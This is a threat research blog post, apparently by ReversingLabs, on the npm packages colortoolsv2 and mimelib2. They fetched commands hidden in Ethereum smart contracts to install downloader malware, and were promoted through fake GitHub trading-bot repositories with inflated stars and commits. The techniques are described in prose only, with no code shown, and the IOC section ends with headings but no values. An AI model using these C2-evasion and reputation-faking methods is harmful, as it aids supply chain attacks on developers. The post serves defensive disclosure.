Ethereum smart contracts used to push malicious code on npm

Two, new pieces of open source malware discovered on the npm package repository by ReversingLabs researchers in July employ a novel and creative technique for loading malware on compromised devices: smart contracts for the Ethereum blockchain. 

The two npm packages abused smart contracts to conceal malicious commands that installed downloader malware on compromised systems. The packages are colortoolsv2, published on July 7, and mimelib2, a nearly identical package that was published in late July. They are part of a larger and sophisticated campaign impacting both npm and GitHub. It is a campaign that has seen malicious supply chain actors utilize sophisticated social engineering and deception techniques to fool developers into incorporating the malicious code into their projects. 

Here’s how Ethereum smart contracts were abused to further this attack, and a look at the larger campaign to post and promote malicious packages on open source repositories like npm and GitHub. In addition, development organizations can learn how to reduce their chances of being compromised by such an attack. 

A mix of malicious campaigns

This year has seen an interesting mix of malicious campaigns targeting npm, the leading online repository for JavaScript packages. In March, RL wrote about the discovery of the npm packages ethers-provider2 and ethers-providerz: simple downloaders that employed a second stage that “patches” the legitimate npm package ethers, installed locally, with a new file containing the malicious payload that serves a reverse shell.

Since the discovery of the ethers campaign, our researchers have detected many more infostealers, downloaders and droppers found on npm. Some of them were a continuation of the ethers campaign from March, but some were completely new. 

At the beginning of July, for example, RL researcher Karlo Zanki discovered and tweeted about a new npm campaign involving a simple package that deployed blockchain in a novel way to deliver a malicious second stage. The name of that package: colortoolsv2. It was published on npm on July 7 and removed from npm soon after being flagged. 

While monitoring repositories following the takedown of colortoolsv2, RL researchers observed the package being switched out with a new one named mimelib2. After checking both new versions, it was apparent that mimelib2 was a duplicate of the colortoolsv2 package in which the malicious code didn’t change and the same smart contract and second stage malware were used to infect victims. We immediately reported it to npm maintainers, and it was removed shortly after.

Figure 1: npm package colortoolsv2 being replaced with mimelib2.

However, once we decided to dig deeper into the packages, we discovered evidence of a much larger campaign that was spread across both npm and GitHub trying to lure developers into downloading repositories that included malicious npm packages.

Both of the npm packages that are part of this campaign are named as utility libraries and no effort was put into making them look trustworthy. They contain only the files needed to implement the malicious functionality. At the same time a lot of effort is put into making the involved GitHub projects look trustworthy.

How smart contracts were abused to load malicious code

Looked at one way, the colortoolsv2 package isn’t very impressive. It is a very simple npm package that contains just two files. One of those, a script named index.js, contained an obfuscated, malicious payload. Once the colortoolsv2 package was used or included in some other project, that script would run: fetching and executing a malicious command by loading the URL for a command and control (C2) server that would then download second stage malware to the system making the request.

Figure 2: Malicious payload.

That’s not unusual. “Downloaders” that retrieve late stage malware are being published to the npm repository weekly - if not daily. However, they usually download the second stage malware directly using a script that is already located in the package. That potentially gives would-be victims a means of detecting a compromise. By scanning scripts included in suspicious packages for unusual URLs or commands, organizations can detect compromised or malicious packages before they have a chance to execute. 

What is new and different is the use of Ethereum smart contracts to host the URLs where malicious commands are located downloading the second stage malware. That’s something we haven’t seen previously, and it highlights the fast evolution of detection evasion strategies by malicious actors who are trolling open source repositories and developers. 

Ethereum smart contracts are simple programs that run on the Ethereum blockchain. They are public and can be thought of as open APIs that automate functions and allow user accounts to interact with the Ethereum blockchain without needing an intermediary. When the conditions specified to execute a smart contract are met, the contract will execute functions defined within the  contract without requiring user input.  (Read more about smart contracts in the Ethereum official documentation.)

Figure 3: Smart contract on blockchain.

C2 gets creative

Of course, threat actors are always trying to find new ways of delivering malware and evading detection. RL has documented numerous efforts to tap trusted, third-party infrastructure to host command and control (C2) functions. Back in 2023, for example, we observed a similar pattern of behavior among Python packages that contained a Base64 encrypted URL pointing to a secret GitHub Gist designed to execute the download of malicious code. In the same way as with the GitHub Gist, the malicious command here was fetched from the smart contract and executed, making it more difficult to detect.

Going back further, in 2022 my colleague Karlo Zanki wrote about the discovery of a malicious npm package masquerading as the Material Tailwind CSS tool. Instead of calling out to a smart contract, that malware used Google Drive, Microsoft OneDrive and GitHub to fetch the address of the real C2 server. That’s because traffic to those resources is common within large organizations and is unlikely to be flagged. 

A repository of lies

The use of Ethereum smart contracts to facilitate malicious code execution made this campaign unusual. But it was notable for other reasons, as well. In particular, we were struck by the extent and sophistication of the larger campaign that these packages were a part of: a campaign that was mostly present on GitHub.  

In our research, we discovered a network of GitHub repositories that were in some way connected with the package colortoolsv2, described in GitHub as “A high-performance, configurable automation tool that snipes new token listings, manages take-profit/stop-loss, and executes trades on the Solana blockchain with minimal setup.” 

Even though the npm package wasn’t very sophisticated, there was much more work put into making the repositories holding the malicious package look trustworthy. This suggests that the main infection vectors were GitHub projects, with malicious behavior displaced into npm package dependencies so it would be impossible to detect merely by reviewing source code present in GitHub repositories. 

Taking a look at the GitHub repositories connected to the malicious colortoolsv2 package, a couple things popped out at us. First, the GitHub repositories and accounts connected to colortoolsv2 and the larger campaign presented themselves as cryptocurrency trading bots. For example, the first project we discovered that included the malicious colortoolsv2 package was solana-trading-bot-v2, a project that - as of initially writing this blog - was active on GitHub. However, it has since been removed.

Looking at the solana-trading-bot-v2 through the eyes of an average developer trying to determine if the GitHub project is trustworthy, this one would definitely look like a good choice. It has thousands of commits; a couple of active contributors; and it has a decent number of stars and watchers - all characteristics of legitimate open source repositories. 

But, as it turns out, all of these details were fabricated.

Figure 4:  Fake GitHub repository solana-trading-bot-v2.

When popularity is an IoC

When we looked more closely at the solana-trading-bot-v2 package, the red flags started flying. First, we noticed that almost all the accounts responsible for giving stars and registering as “watchers” for the package were created around July 10th, shortly after the package was first posted. And each of these accounts has exactly one repository sharing the name of the account. Look inside the repositories for these accounts and you’ll find one file: a README.md file containing the message “Hi there.”  

Nevertheless, all of these accounts forked the repository solana-trading-bot-v2.

Figure 5: Stargazers of solana-trading-bot-v2.

Figure 6: An account of a fake stargazer.

Well, what about the code commits to solana-trading-bot-v2? When we dug into the large number of commits and what was committed, it quickly became apparent that the code contributors were also fakes and that the actual number of commits had been inflated. In fact, there are thousands of commits and each day that number increases by a couple of thousand, indicating that the malicious actor has set up an infrastructure for automated commit pushing.  

Of course, when it comes to code development, not all commits are the same. There are commits that represent substantial additions or improvements to existing code, then there are commits that contain minor tweaks that represent no meaningful work or change. For the solana-trading-bot-v2, the vast majority of commits are either LICENSE deletion or creation actions. Since the beginning of August, every day has seen LICENSE related commits added to the repository - highly unusual activity. Most were made by the same maintainer with the handle “pasttimerles” and are clearly meant to pump those commit numbers up.

Figure 7: User pasttimerles’ commits.

A very small portion of commits are responsible for inclusion of the malicious npm packages. Those are linked to the GitHub user with the account name “slunfuedrac.” That account was responsible for the initial inclusion of the malicious colortoolsv2 dependency into the bot.ts file in the solana-trading-bot-v2 project, and the switch over to the mimelib2 package. In all, the account is committing sporadically, and at the time of writing this blog, hadn’t committed anything since July 20th.

Figure 8: User slunfuedrac including malicious npm package.

The campaign to boost the profile of malicious packages wasn’t limited to the solana-trading-bot-v2 package, either. Other GitHub repositories that appear to be part of this campaign like ethereum-mev-bot-v2, arbitrage-bot and hyperliquid-trading-bot also sport inflated commit numbers from threat actors, though the individuals behind this campaign didn’t try to make these repositories look as trustworthy as they did with the solana-trading-bot-v2 repository.

Figure 9: All repositories where user pasttimerles have made commits.

Additional GitHub user accounts involved in the campaign have also been identified. User account mw3ha31q is responsible for inflating the number of commits in the mentioned repositories and the user cnaovalles is performing inclusion of malicious packages.

Figure 10: User cnaovalles including malicious npm package. 

We also observed a number of other maintainers for the repositories that made a small number of commits. These were puppet accounts that were probably created just to increase the total number of maintainers associated with the repository, making it seem more established and legitimate to casual observers.

Crypto in the crosshairs

Software supply chain attacks targeting cryptocurrency software and infrastructure aren’t new. As we observed in our 2025 Software Supply Chain Security report, last year there was a long list of such attacks targeting crypto-focused developers via open-source repositories. Specifically, RL’s threat research team and other security firms documented 23 crypto-related malicious campaigns involving malicious code being uploaded to open-source repositories. That includes the December, 2024 compromise of the popular PyPI package ultralytics to deliver crypto coin miner. More recently, in April of this year we observed an attempt to inject a malicious payload inside locally installed software connected with the crypto community.

These latest attacks by threat actors, including the creation of sophisticated attacks using blockchain and GitHub, show that attacks on repositories are evolving and that developers and development organizations alike need to be on the lookout for efforts to implant malicious code in legitimate applications, gain access to sensitive development assets and steal sensitive data and digital assets. 

As this campaign shows: it is critical for developers to assess each library they are considering implementing before deciding to include it in their development cycle. And that means pulling back the covers on both open source packages and their maintainers: looking beyond raw numbers of maintainers, commits and downloads to assess whether a given package - and the developers behind it - are what they present themselves as. 

Beyond that, both open source and proprietary, third-party packages should be assessed for evidence of malicious code, tampering or other suspicious characteristics. To help with triaging open source packages, ReversingLabs have released Spectra Assure Community, with the newest repository addition VSCode Marketplace.

Indicators of Compromise (IOCs)

Indicators of Compromise (IoCs) refer to forensic artifacts or evidence related to a security breach or unauthorized activity on a computer network or system. IOCs play a crucial role in cybersecurity investigations and cyber incident response efforts, helping analysts and cybersecurity professionals identify and detect potential security incidents.

The following IOCs were collected as part of RL investigation of this malicious software supply chain campaign.

Second stage payload

Smart contract address